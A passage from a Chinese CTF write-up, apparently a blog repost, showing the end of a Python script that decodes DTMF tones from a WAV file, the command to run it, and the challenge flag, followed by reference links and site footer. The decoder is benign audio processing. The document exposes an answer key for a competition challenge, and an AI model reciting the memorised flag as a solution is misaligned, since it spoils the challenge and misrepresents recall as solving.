                    txt = str(lf) + "Hz + " + str(hf) + "Hz -> " + dtmf[(lf, hf)]

                plt.xlabel(txt)



            t = int(i // step * precision)



            if verbose and t > int((i - 1) // step * precision):

                m = str(int(t // 60))

                s = str(t % 60)

                s = "0" * (2 - len(s)) + s

                print("n" + m + ":" + s + " ", end='', flush=True)



            if lf == 0 or hf == 0:

                if verbose:

                    print(".", end='', flush=True)

                c = ""

            elif dtmf[(lf, hf)] != c or verbose:

                c = dtmf[(lf, hf)]

                print(c, end='', flush=True)



            if debug:

                plt.show()



        print()


    except KeyboardInterrupt:

        print("nCTRL+C detected: exiting...")

    使用终端命令:

    python dtmf.py 1.wav

    得到踩键的顺序后,依次踩下,即可得到flag

    flag为:

    SETCTF{C0M3_4nD_he1P_mE}




    参考链接:
    https://mp.weixin.qq.com/s/O5cyHCvQsu6RNTp4A_Gp4w
    https://mp.weixin.qq.com/s/Lcq7h8VpZaHX3oFrr2E_uQ
    https://mp.weixin.qq.com/s/KIkE50ELd2PBcbqZ_vUyQg
    https://www.wangt.cc/2021/11/%E9%99%87%E5%8E%9F%E6%88%98%E7%96%AB2021%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9Bwriteup/
    https://www.cnblogs.com/LynneHuan/p/15522466.html#h3apclass
    https://blog.csdn.net/m0_48218081/article/details/121237170



  • 相关阅读:
    编码的道与禅
    使用 C# 编写简易 ASP.NET Web 服务器
    程序员的职业素养
    NServiceBus官方文档翻译(二)NServiceBus 入门
    NServiceBus官方文档翻译(一)NServiceBus 概况
    七周七语言之使用prolog解决爱因斯坦斑马难题
    七周七语言之用Io编写领域特定语言
    七周七语言之用ruby做点什么
    利用binarySearch实现抽奖计算逻辑
    Java设计模式三
  • 原文地址:https://www.cnblogs.com/backlion/p/15720378.html
Copyright © 2020-2023  润新知